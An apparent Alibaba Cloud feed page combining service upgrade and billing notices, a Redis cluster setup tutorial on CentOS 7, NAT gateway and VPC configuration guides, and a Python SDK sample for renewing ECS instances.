      2.数据投递(投递到OSS/MaxCompute/ADB/TSDB):将于2020年7月20日开始推送0元账单(不实际扣费),于8月20日正式开始对当日及之后的账单收费。

      计费规则预告(暂定):

      加工按照读取的Logstore流量(原始,不压缩)收取,0.15元/GB。

      投递按照读取的Logstore流量(原始,不压缩)收取,0.2元/GB。

      产品提供免费额度,并且可以通过购买资源包进行整体费用优化。点击此处了解产品,也可以工单咨询或在日志服务用户钉钉群与我们的工程师即时沟通。

      感谢您一如既往的支持!

      ]]>
      【升级】6月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【消息队列MQ】【升级通知】

      升级窗口:

      北京时间2020年06月02日 01:00 - 06:00

      北京时间2020年06月04日 01:00 - 06:00

      北京时间2020年06月09日 01:00 - 06:00

      北京时间2020年06月11日 01:00 - 06:00

      北京时间2020年06月16日 01:00 - 06:00

      北京时间2020年06月18日 01:00 - 06:00

      北京时间2020年06月23日 01:00 - 06:00

      北京时间2020年06月25日 01:00 - 06:00

      北京时间2020年06月29日 01:00 - 06:00
      升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

      升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
      升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
      如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月微消息队列MQTT升级计划通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【微消息队列MQTT】【升级通知】

      升级窗口:

      北京时间2020年06月01日23:00 - 2020年06月02日07:00

      北京时间2019年06月03日23:00 - 2020年06月04日07:00

      北京时间2019年06月08日23:00 - 2020年06月09日07:00

      北京时间2019年06月10日23:00 - 2020年06月11日07:00

      北京时间2019年06月15日23:00 - 2020年06月16日07:00

      北京时间2019年06月17日23:00 - 2020年06月18日07:00

      北京时间2019年06月22日23:00 - 2020年06月23日07:00

      北京时间2019年06月24日23:00 - 2020年06月25日07:00

      北京时间2019年06月29日23:00 - 2020年06月30日07:00

      升级内容:所有地域的MQTT服务。

      升级影响:升级期间MQTT控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端应用需要设置自动重连,以免影响业务。

      升级期间,消息发送可能会有少量失败,应用需要做好断连失败重试机制;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月8日Datahub升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【Datahub】【升级通知】

      升级窗口:北京时间2020年6月8日 10:00 - 19:00

      升级区域:华北,华南,华东,新加坡,吉隆坡,孟买,法国

      升级内容:修复datahub connector不能写入es的缺陷

      升级影响:升级期间,会出现短暂的请求失败重试,属于正常现象,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月4日DDoS高防升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【DDoS高防】【升级通知】
      升级窗口:北京时间2020年6月4日 00:00 - 00:00

      升级内容:DDoS高防(国内) 进行系统升级。

      升级影响:按国家监管政策要求,DDoS高防(国内)从2020年6月4日零点后将不再支持80、8080、443和8443这四个端口的端口接入配置。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月25日DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【DDoS高防(国际)】【升级通知】

      升级窗口:北京时间2020年6月25日 00:00 - 06:00

      升级内容:清洗网络增加英国节点
      升级影响:升级后国际高防线路将新增回源网段,具体网段信息如下所示。如果您当前正在使用国际高防线路并且在服务器侧有相关针对源IP的访问控制策略,请及时更新白名单放行下述回源网段,避免误拦截造成业务影响。

      国际高防线路新增回源网段信息如下:

      170.33.88.0/24 

      170.33.92.0/24

      170.33.93.0/24 

      170.33.90.0/27

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      centos7搭建redis集群-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 搭建环境
      系统:centos7.4

      服务器金山云

      安装ruby环境
      [root@jsy-bj-test00 ~]# yum install -y ruby rubygems
      复制6份redis服务
      [work@jsy-bj-test00 ~]$ cp -rp redis redis1
      [work@jsy-bj-test00 ~]$ cp -rp redis redis2
      [work@jsy-bj-test00 ~]$ cp -rp redis redis3
      redis配置文件修改

      六个节点需做如下更改

      [work@jsy-bj-test00 ~]$ vim redis1/etc/redis.conf
      [work@jsy-bj-test00 ~]$ sed -i 's/port 6379/port 6380/g' redis5/etc/redis.conf #修改端口 port 6380

      打开注释,开启集群模式

      cluster-enabled yes

      集群的配置文件

      cluster-config-file nodes-6380.conf
      [work@jsy-bj-test00 ~]$ sed -i 's/cluster-config-file nodes-6379.conf/cluster-config-file nodes-6380.conf/g' redis5/etc/redis.conf

      pidfile文件

      pidfile /var/run/redis_6380.pid
      [work@jsy-bj-test00 ~]$ sed -i 's/pidfile /var/run/redis_6380.pid/pidfile /var/run/redis_6380.pid/g' redis5/etc/redis.conf

      日志文件

      logfile "/home/work/logs/redis/6380.log"
      [work@jsy-bj-test00 ~]$ sed -i 's/logfile "/home/work/logs/redis/6379.log"/logfile "/home/work/logs/redis/6380.log"/g' redis5/etc/redis.conf

      rdb持久化文件

      dbfilename dump6380.rdb
      [work@jsy-bj-test00 ~]$ sed -i 's/dbfilename dump6379.rdb/dbfilename dump6380.rdb/g' redis5/etc/redis.conf

      请求超时,单位毫秒

      cluster-node-timeout 5000

      开启aof持久化方式

      appendonly yes

      配置持久化文件

      appendfilename "appendonly6379.aof"
      [work@jsy-bj-test00 ~]$ sed -i 's/appendfilename "appendonly6379.aof"/appendfilename "appendonly6383.aof"/g' redis5/etc/redis.conf
      编写集群启动脚本和停止脚本
      启动脚本start_all.sh

      /home/work/redis/bin/redis-server /home/work/redis/etc/redis.conf &
      /home/work/redis/bin/redis-server /home/work/redis/etc/redis6380.conf &
      /home/work/redis/bin/redis-server /home/work/redis/etc/redis6381.conf &
      /home/work/redis/bin/redis-server /home/work/redis/etc/redis6382.conf &
      /home/work/redis/bin/redis-server /home/work/redis/etc/redis6383.conf &
      /home/work/redis/bin/redis-server /home/work/redis/etc/redis6384.conf &
      关闭脚本stop_all.sh

      /home/work/redis/bin/redis-cli -p 6379 -a test shutdown
      /home/work/redis/bin/redis-cli -p 6380 -a test shutdown
      /home/work/redis/bin/redis-cli -p 6381 -a test shutdown
      /home/work/redis/bin/redis-cli -p 6382 -a test shutdown
      /home/work/redis/bin/redis-cli -p 6383 -a test shutdown
      /home/work/redis/bin/redis-cli -p 6384 -a test shutdown
      执行创建集群命令
      有如下报错

      [work@jsy-bj-test00 src]$ ./redis-trib.rb create --replicas 1 127.0.0.1:6379 127.0.0.1:6380 127.0.0.1:6381 127.0.0.1:6382 127.0.0.1:6383 127.0.0.1:6384
      /usr/share/rubygems/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- redis (LoadError)
      from /usr/share/rubygems/rubygems/core_ext/kernel_require.rb:55:in `require'
      from ./redis-trib.rb:25:in `
      '
      原因:安装redis接口报错ruby版本过低
      [root@jsy-bj-test00 ~]# gem install redis

      Fetching: redis-4.1.3.gem (100%)
      ERROR: Error installing redis:
      redis requires Ruby version >= 2.3.0.

      解决办法到官网下载最新稳定版源代码 http://www.ruby-lang.org/en/downloads/ 进行编译安装

      [work@jsy-bj-test00 soft]$ tar zxvf ruby-2.7.0.tar.gz
      [work@jsy-bj-test00 soft]$ cd ruby-2.7.0
      [work@jsy-bj-test00 ruby-2.7.0]$ ./configure --prefix=/home/work/ruby && make && make install
      安装redis接口

      [work@jsy-bj-test00 bin]$ gem install redis
      再次执行创建集群命令

      [work@jsy-bj-test00 src]$ ./redis-trib.rb create --replicas 1 127.0.0.1:6379 127.0.0.1:6380 127.0.0.1:6381 127.0.0.1:6382 127.0.0.1:6383 127.0.0.1:6384

      Creating cluster
      Performing hash slots allocation on 6 nodes...
      ......
      Nodes configuration updated
      Assign a different config epoch to each node
      Sending CLUSTER MEET messages to join the cluster

      Waiting for the cluster to join...

      Performing Cluster Check (using node 127.0.0.1:6379)

      ......
      [OK] All nodes agree about slots configuration.

      Check for open slots...
      Check slots coverage...

      [OK] All 16384 slots covered.

      创建成功,查看集群状态

      [work@jsy-bj-test00 ~]$ ./redis/bin/redis-cli -h 127.0.0.1 -p 6379 -c
      127.0.0.1:6379> cluster info
      cluster_state:ok
      cluster_slots_assigned:16384
      cluster_slots_ok:16384
      cluster_slots_pfail:0
      cluster_slots_fail:0
      cluster_known_nodes:6
      cluster_size:3
      cluster_current_epoch:6
      cluster_my_epoch:1
      cluster_stats_messages_sent:627
      cluster_stats_messages_received:627
      查看集群节点信息

      127.0.0.1:6379> cluster nodes
      565246bf31d8e05e464db7455521b1a9f165a9cd 127.0.0.1:6380 master - 0 1578447776230 2 connected 5461-10922
      1b99b2a1e4b530501476ab48422c75f30423fd19 127.0.0.1:6383 slave 565246bf31d8e05e464db7455521b1a9f165a9cd 0 1578447778233 5 connected
      735ad5778458059316794b9378d4b81aaff20322 127.0.0.1:6379 myself,master - 0 0 1 connected 0-5460
      757c2c11ecebfc607aa10a6877e348d0e2da484f 127.0.0.1:6381 master - 0 1578447777732 3 connected 10923-16383
      f22efc2bcfcd11cee6487ebc9c75de3b59f5e1d0 127.0.0.1:6382 slave 735ad5778458059316794b9378d4b81aaff20322 0 1578447776230 4 connected
      b8bba94b9647caa8600363144fd7108082e45f56 127.0.0.1:6384 slave 757c2c11ecebfc607aa10a6877e348d0e2da484f 0 1578447777232 6 connected

      这是很重要的命令,我们需要关心的信息有:

      第一个参数:节点ID

      第二个参数:IP:PORT@TCP 这里一个坑,jedis-2.9.0之前的版本解析@出错

      第三个参数:标志(Master,Slave,Myself,Fail...)

      第四个参数:如果是从机则是主机的节点ID

      最后两个参数:连接的状态和槽的位置。

      集群管理相关命令

      集群增加节点,先复制两个配置文件,并修改配置文件内容

      [work@jsy-bj-test00 etc]$ cp -p redis.conf redis6385.conf
      [work@jsy-bj-test00 etc]$ cp -p redis.conf redis6386.conf
      [work@jsy-bj-test00 etc]$ sed -i 's/6379/6385/g' redis6385.conf
      [work@jsy-bj-test00 etc]$ sed -i 's/6379/6386/g' redis6386.conf
      启动6385节点

      [work@jsy-bj-test00 bin]$ ./redis-server /home/work/redis/etc/redis6385.conf &
      将集群管理工具软连到redis的bin下

      [work@jsy-bj-test00 bin]$ ln -s /home/work/soft/redis-3.2.11/src/redis-trib.rb /home/work/redis/bin/redis-trib.rb
      将新节点加入集群master

      [work@jsy-bj-test00 bin]$ ./redis-trib.rb add-node 127.0.0.1:6385 127.0.0.1:6379

      Adding node 127.0.0.1:6385 to cluster 127.0.0.1:6379
      Performing Cluster Check (using node 127.0.0.1:6379)

      ......
      [OK] All nodes agree about slots configuration.

      Check for open slots...
      Check slots coverage...

      [OK] All 16384 slots covered.

      Send CLUSTER MEET to node 127.0.0.1:6385 to make it join the cluster.

      [OK] New node added correctly.
      查看集群状态,未分配槽位

      [work@jsy-bj-test00 bin]$ ./redis-cli -h 127.0.0.1 -p 6379 -c cluster nodes
      d00d05f601df0b69df0c2cc532b636d2c83347be 127.0.0.1:6385 master - 0 1578450280191 0 connected
      给6385节点分配槽位

      [work@jsy-bj-test00 bin]$ ./redis-trib.rb reshard 127.0.0.1:6379

      Performing Cluster Check (using node 127.0.0.1:6379)

      ......
      [OK] All nodes agree about slots configuration.

      Check for open slots...
      Check slots coverage...

      [OK] All 16384 slots covered.
      How many slots do you want to move (from 1 to 16384)? 500
      What is the receiving node ID? d00d05f601df0b69df0c2cc532b636d2c83347be
      Please enter all the source node IDs.
      Type 'all' to use all the nodes as source nodes for the hash slots.
      Type 'done' once you entered all the source nodes IDs.
      Source node #1:all
      Do you want to proceed with the proposed reshard plan (yes/no)? yes

      第一个参数:需要移动槽的个数,

      第二个参数:接受槽的节点ID,

      第三个参数:输入"all"表示从所有原节点中获取槽,

      第四个参数:输入"yes"开始移动槽到目标结点id

      查看6385节点信息,已经分配槽位

      [work@jsy-bj-test00 bin]$ ./redis-cli -h 127.0.0.1 -p 6379 -c cluster nodes
      d00d05f601df0b69df0c2cc532b636d2c83347be 127.0.0.1:6385 master - 0 1578452422167 7 connected 0-165 5461-5627 10923-11088

      添加从节点,启动6386节点并加入集群

      [work@jsy-bj-test00 bin]$ ./redis-server /home/work/redis/etc/redis6386.conf &
      [work@jsy-bj-test00 bin]$ ./redis-trib.rb add-node --slave --master-id d00d05f601df0b69df0c2cc532b636d2c83347be 127.0.0.1:6386 127.0.0.1:6385

      Adding node 127.0.0.1:6386 to cluster 127.0.0.1:6385
      Performing Cluster Check (using node 127.0.0.1:6385)

      ......
      [OK] All nodes agree about slots configuration.

      Check for open slots...
      Check slots coverage...

      [OK] All 16384 slots covered.

      Send CLUSTER MEET to node 127.0.0.1:6386 to make it join the cluster.

      Waiting for the cluster to join.

      Configure node as replica of 127.0.0.1:6385.

      [OK] New node added correctly.
      查看6386节点状态

      [work@jsy-bj-test00 bin]$ ./redis-cli -h 127.0.0.1 -p 6379 -c cluster nodes
      6845878cbef3fe25f19a70a8db3eb29abb1b9ea6 127.0.0.1:6386 slave d00d05f601df0b69df0c2cc532b636d2c83347be 0 1578452805439 7 connected

      删除节点

      [work@jsy-bj-test00 bin]$ ./redis-trib.rb del-node 127.0.0.1:6383 1b99b2a1e4b530501476ab48422c75f30423fd19

      Removing node 1b99b2a1e4b530501476ab48422c75f30423fd19 from cluster 127.0.0.1:6383
      Sending CLUSTER FORGET messages to the cluster...
      SHUTDOWN the node.

      ]]>
      为已分配固定公网IP的ECS实例统一公网出口IP_统一公网出口IP_最佳实践_NAT 网关-阿里云 Fri, 02 May 2025 09:39:04 +0800 为已分配固定公网IP的ECS实例统一公网出口IP

      更新时间:2020-04-29 11:09:24

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      统一ECS实例的公网出口IP,有利于您更高效的管理互联网业务。本文为您介绍如何为已分配固定公网IP的ECS实例统一公网出口IP。

      前提条件

      分配了固定公网IP的ECS实例所在的VPC已经配置了SNAT功能。详细信息,请参见创建SNAT条目

      背景信息

      NAT网关提供SNAT功能,为VPC内无公网IP的ECS实例提供访问互联网的代理服务。如果VPC内某些ECS实例已经分配了固定公网IP,这些ECS实例会优先通过固定公网IP访问互联网,而VPC内的其他ECS实例通过NAT网关的SNAT功能代理访问互联网,造成VPC内ECS实例的公网出口IP不一致,不利于统一管理业务。

      您可以通过为ECS实例绑定弹性网卡来解决ECS实例公网出口IP不统一的问题。

      如下图,您可以为ECS实例单独分配一块弹性网卡,并将固定公网IP转为EIP,然后将EIP绑定到弹性网卡,这样来自互联网的访问流量会经过弹性网卡到达ECS实例,当ECS实例需要访问互联网时会通过NAT网关进行转发。

      步骤一:固定公网IP转EIP

      不同计费模式的ECS实例,对固定公网IP转EIP的支持不同:

      • 按量付费类型的ECS实例,支持直接将固定公网IP转为EIP。
      • 包年包月类型的ECS实例,不支持直接将固定公网IP转为EIP。您需要先将包年包月ECS实例转为按量付费ECS实例,再将按量付费ECS实例的固定公网IP转为EIP。包年包月ECS实例转为按量付费ECS实例的详细操作说明,请参见包年包月转按量付费

      完成以下操作,将按量付费ECS实例的固定公网IP转为EIP。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏处,选择ECS实例的地域。
      4. 实例列表页面,找到目标ECS实例,单击操作列下的更多 > 网络和安全组 > 公网IP转换为弹性公网IP固定公网IP转换为EIP
      5. 在弹出的对话框中,单击确定
      6. 刷新实例列表。

        转换成功后,原来的公网IP地址会标注为弹性转换EIP成功

      步骤二:创建弹性网卡

      完成以下操作,为ECS实例创建弹性网卡。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏,单击网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。

        说明 弹性网卡的地域必须与ECS实例的地域相同。

      4. 网卡列表页面,单击创建弹性网卡
      5. 创建弹性网卡页面,根据以下信息配置弹性网卡,然后单击确定
        • 网卡名称:输入弹性网卡的名称。
        • 专有网络:选择ECS实例所在的专有网络。
        • 交换机:选择ECS实例所在可用区的交换机。
        • 主私网IP(可选):输入弹性网卡的主私网IPv4地址。此IPv4地址必须属于交换机的CIDR网段中的空闲地址。如果您没有指定,创建弹性网卡时将自动为您分配一个空闲的私网IPv4地址。
        • 安全组:选择当前专有网络的一个安全组。
        • 描述(可选):输入对弹性网卡的描述。

      步骤三:将弹性网卡绑定到ECS实例

      完成以下操作,将弹性网卡绑定到ECS实例。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏中,选择网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。
      4. 网卡列表页面,找到目标弹性网卡,单击操作列下的绑定实例
      5. 在弹出的对话框中,选择要绑定的ECS实例,然后单击确定

      步骤四:将EIP与ECS实例解绑

      完成以下操作,将EIP与ECS实例解绑。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击弹性公网IP
      3. 选择弹性公网IP的地域。
      4. 弹性公网IP页面,找到目标弹性公网IP,单击操作列下的解绑
      5. 在弹出的对话框中,单击确定

      步骤五:将EIP绑定到弹性网卡

      完成以下操作,将EIP绑定到弹性网卡。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击弹性公网IP
      3. 选择弹性公网IP的地域。
      4. 弹性公网IP页面,找到目标弹性公网IP,单击操作列下的绑定
      5. 绑定弹性公网IP页面,根据以下信息绑定EIP至弹性网卡,然后单击确定
        • IP地址:显示弹性公网IP地址。
        • 实例类型:选择辅助弹性网卡。
        • 资源组(可选):选择该弹性公网IP所属的资源组。
        • 绑定模式(可选):选择弹性公网IP绑定模式。
        • 辅助弹性网卡:选择要绑定的辅助弹性网卡。

      步骤六:测试网络连通性

      完成以下操作,测试互联网是否可以通过弹性网卡绑定的EIP访问ECS实例。本操作以本地Linux设备远程连接Linux实例为例。

      说明 远程连接Linux实例,Linux实例的安全组必须放行SSH(22)端口。详细信息,请参见添加安全组规则

      1. 登录本地Linux设备。
      2. 执行ssh root@公网IP命令,然后输入Linux实例的登录密码,查看是否可以远程连接到实例。

        若界面上出现Welcome to Alibaba Cloud Elastic Compute Service!时,表示您已经成功连接到实例。

      完成以下操作,测试ECS实例是否可以通过NAT网关的SNAT功能主动访问互联网。本操作以在linux实例上查看公网出口IP为例。

      1. 登录ECS实例。
      2. 执行curl https://myip.ipip.net查看公网出口IP。

        若公网出口IP与NAT网关SNAT条目中的IP一致,即ECS实例优先通过NAT网关的SNAT功能主动访问互联网。

      ]]> 续费ECS实例_Python示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 续费ECS实例

      更新时间:2020-04-17 21:48:15

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      除了通过ECS控制台或售卖页进行云服务器续费外,阿里云还支持直接通过API进行续费查询和续费管理。

      背景信息

      对于包年包月的云服务器,生命周期非常重要。如果云服务器资源不能按时续费,将可能导致服务器被锁定甚至被释放,从而影响业务持续性。API帮助您及时了解和检查资源的到期时间,并完成续费充值功能。

      本文提供了完整代码示例,并提供了代码示例解析,请参见:

      更多代码示例请参见阿里云代码示例库(CodeSample)

      完整代码

      #  coding=utf-8
      # if the python sdk is not install using 'sudo pip install aliyun-python-sdk-ecs'
      # if the python sdk is install using 'sudo pip install --upgrade aliyun-python-sdk-ecs'
      # make sure the sdk version is 4.4.3, you can use command 'pip show aliyun-python-sdk-ecs' to check
      
      import json
      import logging
      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.DescribeInstanceAutoRenewAttributeRequest import 
          DescribeInstanceAutoRenewAttributeRequest
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.ModifyInstanceAutoRenewAttributeRequest import 
          ModifyInstanceAutoRenewAttributeRequest
      from aliyunsdkecs.request.v20140526.RenewInstanceRequest import RenewInstanceRequest
      
      logging.basicConfig(level=logging.INFO, format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S')
      clt = client.AcsClient('<accessKeyId>', '<accessSecret>', '<region-Id>')
      
      INSTANCE_EXPIRED_START_TIME_IN_UTC_STRING = '2017-01-22T00:00Z'
      INSTANCE_EXPIRE_END_TIME_IN_UTC_STRING = '2017-01-28T00:00Z'
      def renew_job(page_size=100, page_number=1, check_need_renew=True, security_group_id=None):
          response = describe_need_renew_instance(page_size=page_size, page_number=page_number, check_need_renew=check_need_renew, security_group_id=security_group_id)
          response_list = response.get('Instances').get('Instance')
          logging.info("%s instances need to renew", str(response.get('TotalCount')))
          if response_list > 0:
              instance_ids = ''
              for item in response_list:
                  instance_id = item.get('InstanceId')
                  instance_ids += instance_id + ','
                  renew_instance(instance_id=instance_id)
              logging.info("%s execute renew action ready", instance_ids)
      
      def describe_need_renew_instance(page_size=100, page_number=1, instance_id=None, check_need_renew=True, security_group_id=None):
          request = DescribeInstancesRequest()
          if check_need_renew is True:
              request.set_Filter3Key("ExpiredStartTime")
              request.set_Filter3Value(INSTANCE_EXPIRED_START_TIME_IN_UTC_STRING)
              request.set_Filter4Key("ExpiredEndTime")
              request.set_Filter4Value(INSTANCE_EXPIRE_END_TIME_IN_UTC_STRING)
          if instance_id is not None:
              request.set_InstanceIds(json.dumps([instance_id]))
          if security_group_id:
              request.set_SecurityGroupId(security_group_id)
          request.set_PageNumber(page_number)
          request.set_PageSize(page_size)
          return _send_request(request)
      
      def describe_instance_auto_renew_setting(instance_ids, expected_auto_renew=True):
          describe_request = DescribeInstanceAutoRenewAttributeRequest()
          describe_request.set_InstanceId(instance_ids)
          response_detail = _send_request(request=describe_request)
          failed_instance_ids = ''
          if response_detail is not None:
              attributes = response_detail.get('InstanceRenewAttributes').get('InstanceRenewAttribute')
              if attributes:
                  for item in attributes:
                      auto_renew_status = item.get('AutoRenewEnabled')
                      if auto_renew_status != expected_auto_renew:
                          failed_instance_ids += item.get('InstanceId') + ','
          if len(failed_instance_ids) > 0:
              logging.error("instance %s auto renew not match expect %s.", failed_instance_ids,
                            expected_auto_renew)
      
      def setting_instance_auto_renew(instance_ids, auto_renew=True):
          logging.info('execute enable auto renew ' + instance_ids)
          request = ModifyInstanceAutoRenewAttributeRequest();
          request.set_Duration(1);
          request.set_AutoRenew(auto_renew);
          request.set_InstanceId(instance_ids)
          _send_request(request)
          describe_instance_auto_renew_setting(instance_ids, auto_renew)
      
      def check_instance_need_renew(instance_id):
          response = describe_need_renew_instance(instance_id=instance_id)
          if response is not None:
              return response.get('TotalCount') == 1
          return False
      
      def renew_instance(instance_id, period='1'):
          need_renew = check_instance_need_renew(instance_id)
          if need_renew:
              _renew_instance_action(instance_id, period)
              # describe_need_renew_instance(instance_id=instance_id, check_need_renew=False)
      
      def _renew_instance_action(instance_id, period='1'):
          request = RenewInstanceRequest()
          request.set_Period(period)
          request.set_InstanceId(instance_id)
          response = _send_request(request)
          logging.info('renew %s ready, output is %s ', instance_id, response)
      
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      
      if __name__ == '__main__':
          logging.info("Renew ECS Instance by OpenApi!")
          # 查询在指定的时间范围内是否有需要续费的实例。
          describe_need_renew_instance()
          # 续费实例, 直接执行费用扣除。
          # renew_instance('i-bp1aet7s13lfpjop****')
          # 查询实例自动续费的状态。
          # describe_instance_auto_renew_setting('i-bp1aet7s13lfpjop****,i-bp13uh1twnfv7vp8****')
          # 设置实例自动续费。
          # setting_instance_auto_renew('i-bp1aet7s13lfpjop****,i-bp13uh1twnfv7vp8****')

      查询指定范围内到期的云服务器

      查询实例列表的API,通过过滤参数,您可以查询一定时间范围内到期的实例信息。通过设置过滤参数ExpiredStartTimeExpiredEndTime(时间参数按照ISO8601标准表示,并需要使用UTC时间。 格式为:yyyy-MM-ddTHH:mmZ) ,可以方便地查询该时间范围内到期的实例列表。如果需要通过安全组进行过滤,只需加上安全组ID即可。

      INSTANCE_EXPIRED_START_TIME_IN_UTC_STRING = '2017-01-22T00:00Z'
      INSTANCE_EXPIRE_END_TIME_IN_UTC_STRING = '2017-01-28T00:00Z'
      
      def renew_job(page_size=100, page_number=1, check_need_renew=True, security_group_id=None):
          response = describe_need_renew_instance(page_size=page_size, page_number=page_number, check_need_renew=check_need_renew, security_group_id=security_group_id)
          response_list = response.get('Instances').get('Instance')
          logging.info("%s instances need to renew", str(response.get('TotalCount')))
          if response_list > 0:
              instance_ids = ''
              for item in response_list:
                  instance_id = item.get('InstanceId')
                  instance_ids += instance_id + ','
                  renew_instance(instance_id=instance_id)
              logging.info("%s execute renew action ready", instance_ids)

      续费云服务器

      续费实例只支持包年包月的服务器类型,不支持按量付费的服务器,同时要求用户必须支持账号的余额支付或信用支付。执行API的时候将执行同步的扣费和订单生成。因此,执行API的时候必须保证您的账号有足够的资金支持自动扣费。

      def _renew_instance_action(instance_id, period='1'):
          request = RenewInstanceRequest()
          request.set_Period(period)
          request.set_InstanceId(instance_id)
          response = _send_request(request)
          logging.info('renew %s ready, output is %s ', instance_id, response)

      续费实例将会自动完成扣费。在完成续费后,您可以根据InstanceId查询实例的资源到期时间。由于API为异步任务,查询资源到期时间可能需要延迟10秒才会变化。

      开启云服务器自动续费

      为了减少您的资源到期维护成本,针对包年包月的ECS实例,阿里云还推出了自动续费功能。 自动续费扣款日为服务器到期前第9天的08:00:00。如果前一日执行自动扣费失败,将会继续下一日定时执行,直到完成扣费或者9天后到期资源锁定。您只需要保证自己的账号余额或者信用额度充足即可。

      • 查询自动续费设置

        您可以通过OpenAPI来查询和设置自动续费。该API仅支持包年包月的实例,按量付费的实例执行将会报错。查询实例的自动续费状态支持一次最多查询100个包年包月的实例,多个实例ID以逗号连接。

        DescribeInstanceAutoRenewAttribute的入参为实例ID。

        InstanceId:支持最多查询100个包年包月的实例,多个实例ID以逗号连接。

        def describe_instance_auto_renew_setting(instance_ids, expected_auto_renew=True):
            describe_request = DescribeInstanceAutoRenewAttributeRequest()
            describe_request.set_InstanceId(instance_ids)
            response_detail = _send_request(request=describe_request)
            failed_instance_ids = ''
            if response_detail is not None:
                attributes = response_detail.get('InstanceRenewAttributes').get('InstanceRenewAttribute')
                if attributes:
                    for item in attributes:
                        auto_renew_status = item.get('AutoRenewEnabled')
                        if auto_renew_status != expected_auto_renew:
                            failed_instance_ids += item.get('InstanceId') + ','
        
        describe_instance_auto_renew_setting('i-bp1aet7s13lfpjop****,i-bp13uh1twnfv7vp8****')

        返回示例如下:

        {"InstanceRenewAttributes":{"InstanceRenewAttribute":[{"Duration":0,"InstanceId":"i-1111","AutoRenewEnabled":false},{"Duration":0,"InstanceId":"i-2222","AutoRenewEnabled":false}]},"RequestId":"71FBB7A5-C793-4A0D-B17E-D6Bxxxxxxxxx"}

        如果设置自动续费,则返回的属性AutoRenewEnabledtrue,否则返回false

      • 设置和取消云服务器的自动续费

        设置自动续费有三个入参:

        • InstanceId:支持最多查询100个包年包月的实例,多个实例ID以逗号连接。
        • Duration:支持1、2、3、6、12,单位为月。
        • AutoRenewtrue/falsetrue为开启自动续费,false为取消自动续费。
        def setting_instance_auto_renew(instance_ids, auto_renew = True):
            logging.info('execute enable auto renew ' + instance_ids)
            request = ModifyInstanceAutoRenewAttributeRequest();
            request.set_Duration(1);
            request.set_AutoRenew(auto_renew);
            request.set_InstanceId(instance_ids)
            _send_request(request)

        执行成功返回Response如下:

        {"RequestId":"7DAC9984-AAB4-43EF-8FC7-7D7xxxxxxxxx"}

        续费成功后,您可以再执行一次查询。如果续费成功将返回续费时长以及是否开启自动续费。

        {"InstanceRenewAttributes":{"InstanceRenewAttribute":[{"Duration":1,"InstanceId":"i-1111","AutoRenewEnabled":true},{"Duration":1,"InstanceId":"i-2222","AutoRenewEnabled":true}]},"RequestId":"7F4D14B0-D0D2-48C7-B310-B1DF713D4331"}

      ]]> 更换ECS实例的VPC_网络_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 更换ECS实例的VPC

      更新时间:2020-06-10 16:55:31

      本页目录

      本章节介绍VPC网络类型的ECS实例如何更换到其他VPC。如果您在创建ECS实例时选错VPC或者需要重新规划网络,可以通过此功能更换单个或多个ECS实例的VPC。

      前提条件

      • ECS实例已处于停止状态。如何停止ECS实例,请参见停止实例
      • ECS实例未加入SLB的后端服务器。SLB中如何移除后端服务器,请参见移除后端服务器
      • ECS实例已卸载弹性网卡和多IP。如何卸载弹性网卡和多IP,请参见解绑弹性网卡回收辅助私网IP地址
      • 已准备好更换的目标VPC、交换机和安全组。

      使用场景

      • 前期VPC规划不合理,随着业务的逐渐扩大,原来的VPC不能满足需求,需要通过ECS实例更换VPC操作进行重新规划。
      • 前期只规划一个VPC,不同的项目和使用环境共用此VPC,存在数据操作风险。现在希望按项目、使用环境划分为单独的的VPC,需要通过ECS实例更换VPC操作进行项目迁移。
